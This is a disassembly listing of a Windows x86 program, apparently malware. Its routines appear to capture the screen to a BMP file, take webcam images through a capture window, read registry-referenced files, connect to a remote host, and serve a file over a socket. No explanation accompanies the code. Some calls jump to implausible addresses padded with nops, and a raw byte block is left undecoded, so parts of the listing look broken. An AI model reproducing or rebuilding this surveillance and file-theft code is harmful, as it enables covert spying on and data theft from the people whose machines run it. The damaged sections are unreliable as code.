sub_4153BC	proc near		; CODE XREF: sub_401ACD+734Fp

var_484		= byte ptr -484h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= dword	ptr -26h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 484h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	offset aDisplay	; "DISPLAY"
		call	dword_4CAF90
		mov	edi, eax
		cmp	edi, esi
		mov	[ebp+var_20], edi
		jz	loc_4155F0
		push	8
		push	edi
		call	dword_4CAFAC
		push	0Ah
		push	edi
		mov	[ebp+var_8], eax
		call	dword_4CAFAC
		push	0Ch
		push	edi
		mov	[ebp+var_C], eax
		call	dword_4CAFAC
		cmp	eax, 8
		mov	[ebp+var_10], eax
		ja	short loc_41541E
		push	18h
		push	edi
		call	dword_4CAFAC
		mov	ebx, 100h
		jmp	short loc_415420
; ---------------------------------------------------------------------------

loc_41541E:				; CODE XREF: sub_4153BC+50j
		xor	ebx, ebx

loc_415420:				; CODE XREF: sub_4153BC+60j
		push	edi
		call	dword_4CAFF0
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	loc_4155D5
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_80], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_7C], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_76], ax
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		lea	eax, [ebp+var_84]
		push	1
		push	eax
		push	edi
		mov	[ebp+var_84], 28h
		mov	[ebp+var_78], 1
		mov	[ebp+var_74], esi
		mov	[ebp+var_70], esi
		mov	[ebp+var_6C], esi
		mov	[ebp+var_68], esi
		mov	[ebp+var_64], ebx
		mov	[ebp+var_60], ebx
		call	dword_4CAFE8
		cmp	eax, esi
		mov	[ebp+var_1C], eax
		jz	loc_4155E0
		push	eax
		push	[ebp+var_4]
		call	dword_4CAE74
		cmp	eax, esi
		jz	loc_4155E0
		cmp	eax, 0FFFFFFFFh
		jz	loc_4155E0
		push	0CC0020h
		push	esi
		push	esi
		push	edi
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	esi
		push	esi
		push	[ebp+var_4]
		call	dword_4CAFEC
		test	eax, eax
		jz	loc_4155E0
		cmp	ebx, esi
		jz	short loc_4154DD
		lea	eax, [ebp+var_484]
		push	eax
		push	ebx
		push	esi
		push	[ebp+var_4]
		call	dword_4CAEC8
		mov	ebx, eax

loc_4154DD:				; CODE XREF: sub_4153BC+10Bj
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		imul	edi, [ebp+var_C]
		imul	edi, ecx
		mov	eax, ebx
		push	esi
		shr	edi, 3
		shl	eax, 2
		mov	[ebp+var_8], eax
		push	80h
		lea	edx, [eax+edi+36h]
		add	eax, 36h
		push	2
		mov	[ebp+var_26], eax
		mov	eax, [ebp+var_C]
		push	esi
		push	esi
		push	40000000h
		push	[ebp+arg_0]
		mov	[ebp+var_50], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_30], 4D42h
		mov	[ebp+var_2E], edx
		mov	[ebp+var_2A], si
		mov	[ebp+var_28], si
		mov	[ebp+var_58], 28h
		mov	[ebp+var_54], ecx
		mov	[ebp+var_4C], 1
		mov	[ebp+var_4A], ax
		mov	[ebp+var_48], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], esi
		call	near ptr 26F07FEh
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_4155C0
		lea	ecx, [ebp+var_14]
		push	esi
		push	ecx
		lea	ecx, [ebp+var_30]
		push	0Eh
		push	ecx
		push	eax
		call	near ptr 26E0000h
		nop
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		push	[ebp+arg_0]
		call	near ptr 26E0000h
		nop
		cmp	ebx, esi
		jz	short loc_4155A2
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_484]
		push	[ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 26E0000h

loc_4155A2:				; CODE XREF: sub_4153BC+1CCj
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	edi
		push	[ebp+var_18]
		push	[ebp+arg_0]
		nop
		call	near ptr 26E0000h
		push	[ebp+arg_0]
		nop
		call	near ptr 2650939h
		push	1
		pop	esi

loc_4155C0:				; CODE XREF: sub_4153BC+1A2j
		push	[ebp+var_1C]
		call	dword_4CAF00
		push	[ebp+var_4]
		call	dword_4CAE60
		mov	edi, [ebp+var_20]

loc_4155D5:				; CODE XREF: sub_4153BC+70j
		push	edi
		call	dword_4CAE60
		mov	eax, esi
		jmp	short loc_4155F2
; ---------------------------------------------------------------------------

loc_4155E0:				; CODE XREF: sub_4153BC+C7j
					; sub_4153BC+D9j ...
		push	edi
		call	dword_4CAE60
		push	[ebp+var_4]
		call	dword_4CAE60

loc_4155F0:				; CODE XREF: sub_4153BC+23j
		xor	eax, eax

loc_4155F2:				; CODE XREF: sub_4153BC+222j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4153BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4155F7	proc near		; CODE XREF: sub_401ACD+7476p

var_34		= byte ptr -34h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D2BD0
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4CAEF4
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp+var_4], edi
		jnz	short loc_415635
		mov	eax, esi
		jmp	loc_4157EB
; ---------------------------------------------------------------------------

loc_415635:				; CODE XREF: sub_4155F7+35j
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_415652
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4CB000
		jmp	short loc_415654
; ---------------------------------------------------------------------------

loc_415652:				; CODE XREF: sub_4155F7+47j
		xor	eax, eax

loc_415654:				; CODE XREF: sub_4155F7+59j
		cmp	eax, ebx
		jnz	short loc_41565F

loc_415658:				; CODE XREF: sub_4155F7+88j
					; sub_4155F7+BCj
		mov	ebx, esi
		jmp	loc_4157E0
; ---------------------------------------------------------------------------

loc_41565F:				; CODE XREF: sub_4155F7+5Fj
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_41567C
		lea	eax, [ebp+var_34]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4CB000

loc_41567C:				; CODE XREF: sub_4155F7+71j
		cmp	[ebp+var_20], ebx
		jz	short loc_415658
		push	edi
		call	dword_4CAF44
		test	eax, eax
		mov	edi, 42Ch
		jz	short loc_4156A2
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		call	dword_4CB000
		mov	[ebp+arg_4], eax
		jmp	short loc_4156A5
; ---------------------------------------------------------------------------

loc_4156A2:				; CODE XREF: sub_4155F7+98j
		mov	[ebp+arg_4], ebx

loc_4156A5:				; CODE XREF: sub_4155F7+A9j
		push	[ebp+arg_4]
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jz	short loc_415658
		push	[ebp+arg_4]
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4156CC
		push	1
		pop	ebx
		jmp	loc_4157E0
; ---------------------------------------------------------------------------

loc_4156CC:				; CODE XREF: sub_4155F7+CBj
		push	[ebp+var_4]
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_4156E9
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CB000

loc_4156E9:				; CODE XREF: sub_4155F7+E0j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	esi
		call	sub_41C310
		mov	ecx, [ebp+arg_8]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_415704
		mov	ecx, 280h

loc_415704:				; CODE XREF: sub_4155F7+106j
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jg	short loc_415710
		mov	eax, 1E0h

loc_415710:				; CODE XREF: sub_4155F7+112j
		push	[ebp+var_4]
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4CAF44
		test	eax, eax
		mov	edi, 42Dh
		jz	short loc_41575A
		push	esi
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CB000

loc_41575A:				; CODE XREF: sub_4155F7+153j
		push	[ebp+var_4]
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_415777
		push	ebx
		push	ebx
		push	43Dh
		push	[ebp+var_4]
		call	dword_4CB000

loc_415777:				; CODE XREF: sub_4155F7+16Ej
		push	[ebp+var_4]
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_415796
		push	[ebp+arg_0]
		push	ebx
		push	419h
		push	[ebp+var_4]
		call	dword_4CB000

loc_415796:				; CODE XREF: sub_4155F7+18Bj
		push	[ebp+var_4]
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_4157B3
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CB000

loc_4157B3:				; CODE XREF: sub_4155F7+1AAj
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_4157E0
		push	ebx
		push	ebx
		push	40Bh
		push	[ebp+var_4]
		call	dword_4CB000

loc_4157E0:				; CODE XREF: sub_4155F7+63j
					; sub_4155F7+D0j ...
		push	[ebp+var_4]
		call	dword_4CB054
		mov	eax, ebx

loc_4157EB:				; CODE XREF: sub_4155F7+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4155F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4157F0	proc near		; CODE XREF: sub_401ACD+752Ep

var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D2BD0
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4CAEF4
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_41582E
		mov	eax, esi
		jmp	loc_415A2A
; ---------------------------------------------------------------------------

loc_41582E:				; CODE XREF: sub_4157F0+35j
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_41584B
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4CB000
		jmp	short loc_41584D
; ---------------------------------------------------------------------------

loc_41584B:				; CODE XREF: sub_4157F0+47j
		xor	eax, eax

loc_41584D:				; CODE XREF: sub_4157F0+59j
		cmp	eax, ebx
		jnz	short loc_415858

loc_415851:				; CODE XREF: sub_4157F0+8Bj
					; sub_4157F0+BCj
		mov	ebx, esi
		jmp	loc_415A21
; ---------------------------------------------------------------------------

loc_415858:				; CODE XREF: sub_4157F0+5Fj
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_415878
		lea	eax, [ebp+var_90]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4CB000

loc_415878:				; CODE XREF: sub_4157F0+71j
		cmp	[ebp+var_7C], ebx
		jz	short loc_415851
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_41589B
		push	ebx
		push	ebx
		push	42Ch
		push	edi
		call	dword_4CB000
		mov	[ebp+arg_4], eax
		jmp	short loc_41589E
; ---------------------------------------------------------------------------

loc_41589B:				; CODE XREF: sub_4157F0+96j
		mov	[ebp+arg_4], ebx

loc_41589E:				; CODE XREF: sub_4157F0+A9j
		push	[ebp+arg_4]
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_415851
		push	[ebp+arg_4]
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4158C5
		push	1
		pop	ebx
		jmp	loc_415A21
; ---------------------------------------------------------------------------

loc_4158C5:				; CODE XREF: sub_4157F0+CBj
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_4158E2
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Ch
		push	edi
		call	dword_4CB000

loc_4158E2:				; CODE XREF: sub_4157F0+DEj
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	esi
		call	sub_41C310
		mov	ecx, [ebp+arg_C]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_4158FD
		mov	ecx, 0A0h

loc_4158FD:				; CODE XREF: sub_4157F0+106j
		mov	eax, [ebp+arg_10]
		cmp	eax, ebx
		jg	short loc_415907
		push	78h
		pop	eax

loc_415907:				; CODE XREF: sub_4157F0+112j
		push	edi
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_41594C
		push	esi
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4CB000

loc_41594C:				; CODE XREF: sub_4157F0+14Aj
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_415969
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	441h
		push	edi
		call	dword_4CB000

loc_415969:				; CODE XREF: sub_4157F0+165j
		push	edi
		mov	[ebp+var_60], ebx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], 1
		mov	[ebp+var_2C], 5
		mov	[ebp+var_64], 1046Ah
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_4159A7
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	440h
		push	edi
		call	dword_4CB000

loc_4159A7:				; CODE XREF: sub_4157F0+1A3j
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_4159C2
		push	[ebp+arg_0]
		push	ebx
		push	414h
		push	edi
		call	dword_4CB000

loc_4159C2:				; CODE XREF: sub_4157F0+1C0j
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_4159DB
		push	ebx
		push	ebx
		push	43Eh
		push	edi
		call	dword_4CB000

loc_4159DB:				; CODE XREF: sub_4157F0+1DBj
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_4159F8
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4CB000

loc_4159F8:				; CODE XREF: sub_4157F0+1F4j
		push	[ebp+var_4]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_415A21
		push	ebx
		push	ebx
		push	40Bh
		push	edi
		call	dword_4CB000

loc_415A21:				; CODE XREF: sub_4157F0+63j
					; sub_4157F0+D0j ...
		push	edi
		call	dword_4CB054
		mov	eax, ebx

loc_415A2A:				; CODE XREF: sub_4157F0+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4157F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415A2F	proc near		; CODE XREF: sub_401ACD+25F1p

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	off_436224, ebx
		mov	[ebp+var_C], 80h
		jz	loc_415BD0
		push	esi
		push	edi
		mov	eax, offset off_436224
		mov	esi, offset dword_436230
		mov	edi, offset dword_437428

loc_415A5F:				; CODE XREF: sub_415A2F+199j
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	dword_4CB014
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	dword_4CAEA4
		test	eax, eax
		jnz	loc_415BB6
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_415B7A
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset dword_4293EC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_41B4C2
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_415BB6
		push	eax

loc_415AD8:				; CODE XREF: sub_415A2F+D4j
		lea	eax, [ebp+var_70]
		push	64h
		push	eax
		call	sub_41BB4F
		add	esp, 0Ch
		test	eax, eax
		jz	loc_415B6F
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B05
		push	[ebp+var_8]
		jmp	short loc_415AD8
; ---------------------------------------------------------------------------

loc_415B05:				; CODE XREF: sub_415A2F+CFj
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B33
		lea	eax, [ebp+var_70]
		push	offset asc_437424 ; "="
		push	eax
		call	sub_41C0F4
		push	offset asc_437424 ; "="
		push	ebx
		call	sub_41C0F4
		add	esp, 10h
		jmp	short loc_415B36
; ---------------------------------------------------------------------------

loc_415B33:				; CODE XREF: sub_415A2F+E4j
		lea	eax, [ebp+var_70]

loc_415B36:				; CODE XREF: sub_415A2F+102j
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_2F0]
		push	ebx
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4151AC
		add	esp, 18h

loc_415B6F:				; CODE XREF: sub_415A2F+B9j
		push	[ebp+var_8]
		call	sub_41B05B
		pop	ecx
		jmp	short loc_415BB6
; ---------------------------------------------------------------------------

loc_415B7A:				; CODE XREF: sub_415A2F+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4151AC
		add	esp, 28h

loc_415BB6:				; CODE XREF: sub_415A2F+60j
					; sub_415A2F+A2j ...
		push	[ebp+var_4]
		call	dword_4CAF80
		add	esi, 18h
		cmp	[esi-0Ch], ebx
		lea	eax, [esi-0Ch]
		jnz	loc_415A5F
		pop	edi
		pop	esi

loc_415BD0:				; CODE XREF: sub_415A2F+19j
		pop	ebx
		leave
		retn
sub_415A2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415BD3	proc near		; CODE XREF: ___:00416278p

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CB024
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_415C4F
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CAFA4
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CAFE4
		cmp	eax, esi
		jnz	short loc_415C34
		push	[ebp+arg_0]
		call	dword_4CB028
		test	eax, eax
		jz	short loc_415C4F
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

loc_415C34:				; CODE XREF: sub_415BD3+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CAF4C
		cmp	eax, esi
		jnz	short loc_415C53
		push	edi
		call	dword_4CB03C

loc_415C4F:				; CODE XREF: sub_415BD3+1Bj
					; sub_415BD3+58j
		mov	eax, esi
		jmp	short loc_415C55
; ---------------------------------------------------------------------------

loc_415C53:				; CODE XREF: sub_415BD3+73j
		mov	eax, edi

loc_415C55:				; CODE XREF: sub_415BD3+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_415BD3	endp

; ---------------------------------------------------------------------------
byte_415C59	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+A1Eo
		dd 11B4B8h, 5EBAE800h, 458B0000h, 57565308h, 0F08B6D6Ah
		dd 4CBD8D59h, 0F3FFFFFEh, 5E016AA5h, 89EC75FFh,	1B0B0h
		dd 54858D00h, 50FFFFFEh, 0FFFF42E8h, 59D88BFFh,	59FFFB83h
		dd 858D5275h, 0FFFFEE4Ch, 4374A468h, 0DBE85000h, 3300005Bh
		dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh,	8D50F475h
		dd 0FFFF6C85h, 0E85350FFh, 0FFFF3DA6h, 8D14C483h, 0FFEE4C85h
		dd 0D1E850FFh, 0FFFFFFF4h, 2FE8F075h, 59FFFF57h, 15E85659h
		dd 90022BA3h, 43D15868h, 6DE85300h, 5900003Fh, 59FFF883h
		dd 858D5975h, 0FFFFEE4Ch, 43747468h, 77E85000h,	3300005Bh
		dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh,	8D50F475h
		dd 0FFFF6C85h, 0E85350FFh, 0FFFF3D42h, 8D14C483h, 0FFEE4C85h
		dd 6DE850FFh, 59FFFFF4h, 3C15FF53h, 0FF004CB0h,	0C3E8F075h
		dd 59FFFF56h, 0A2AAE856h, 6A90022Bh, 21E89064h,	330225A8h
		dd 1000BEFFh, 8D560000h, 0FFEE4C85h, 0E85057FFh, 581Ch
		dd 8D0CC483h, 0FFEE4C85h, 505657FFh, 0BC15FF53h, 85004CAFh
		dd 8D387EC0h, 0FFEE4C85h, 99C868FFh, 0E8500042h, 6124h
		dd 0EE4C858Dh, 0E850FFFFh, 3CA8h, 850CC483h, 6A1474C0h
		dd 0C9E89064h, 6A0225A7h, 5580E80Ah, 0C085FFFFh, 8DA37559h
		dd 0FFEE4C85h, 744068FFh, 0E8500043h, 5AB2h, 59F87D39h
		dd 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h,	0FFFFFF6Ch
		dd 7FE85350h, 83FFFF3Ch, 858D14C4h, 0FFFFEE4Ch,	0F3AAE850h
		dd 5359FFFFh, 0B03C15FFh, 75FF004Ch, 5600E8F0h,	5759FFFFh
		dd 0A1E6E890h
; ---------------------------------------------------------------------------
		sub	eax, [edx]

loc_415E1A:				; DATA XREF: sub_401ACD+7831o
		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1FCh]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp-10h], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp-0Ch], esi
		mov	[ebp-20h], esi
		call	dword_4CB024
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-18h], edi
		jnz	short loc_415E68
		push	offset unk_4375A4
		jmp	loc_416021
; ---------------------------------------------------------------------------

loc_415E68:				; CODE XREF: ___:00415E5Cj
		push	10h
		lea	eax, [ebp-30h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-30h], 2
		push	esi
		call	dword_4CAFA4
		mov	[ebp-2Eh], ax
		lea	eax, [ebp-30h]
		push	10h
		push	eax
		push	edi
		mov	[ebp-2Ch], esi
		call	dword_4CAFD0
		test	eax, eax
		jz	short loc_415EA6
		push	offset unk_437580
		jmp	loc_416021
; ---------------------------------------------------------------------------

loc_415EA6:				; CODE XREF: ___:00415E9Aj
		lea	eax, [ebp-1Ch]
		mov	dword ptr [ebp-1Ch], 10h
		push	eax
		lea	eax, [ebp-30h]
		push	eax
		push	edi
		call	dword_4CAF48
		push	dword ptr [ebp-2Eh]
		call	dword_4CAED4
		mov	[ebp-4], eax
		lea	eax, [ebp-1E0h]
		push	eax
		mov	[ebp+8], esi
		call	sub_41AFE0
		pop	ecx

loc_415ED8:				; CODE XREF: ___:00415F09j
		mov	ecx, [ebp+8]
		mov	al, [ebp+ecx-1E0h]
		cmp	al, 20h
		jnz	short loc_415EEB
		push	5Fh
		pop	eax
		jmp	short loc_415EEE
; ---------------------------------------------------------------------------

loc_415EEB:				; CODE XREF: ___:00415EE4j
		movsx	eax, al

loc_415EEE:				; CODE XREF: ___:00415EE9j
		mov	[ebp+ecx-604h],	al
		lea	eax, [ebp-1E0h]
		inc	ecx
		push	eax
		mov	[ebp+8], ecx
		call	sub_41AFE0
		cmp	[ebp+8], eax
		pop	ecx
		jbe	short loc_415ED8
		push	ebx
		push	edi
		call	dword_4CAFCC
		test	eax, eax
		jz	short loc_415F21
		push	offset unk_4374A4
		jmp	loc_416021
; ---------------------------------------------------------------------------

loc_415F21:				; CODE XREF: ___:00415F15j
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp-1E0h]
		push	80000000h
		push	eax
		nop
		call	near ptr 26F07FEh
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_415F4B
		push	offset unk_437560
		jmp	loc_416021
; ---------------------------------------------------------------------------

loc_415F4B:				; CODE XREF: ___:00415F3Fj
		push	esi
		push	eax
		call	near ptr 2720B03h
		nop
		mov	[ebp+8], eax
		push	eax
		movzx	eax, word ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_40AC0F
		pop	ecx
		push	eax
		call	dword_4CAFE4
		push	eax
		call	dword_4CAFA0
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset dword_437548
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-3FCh]
		push	esi
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		add	esp, 2Ch
		lea	eax, [ebp-38h]
		mov	dword ptr [ebp-38h], 3Ch
		mov	[ebp-34h], esi
		push	eax
		push	esi
		lea	eax, [ebp-500h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-4FCh], edi
		mov	[ebp-500h], ebx
		call	dword_4CAF8C
		test	eax, eax
		jg	short loc_415FFB
		push	esi
		lea	eax, [ebp-0DCh]
		push	dword ptr [ebp-54h]
		push	offset dword_437530
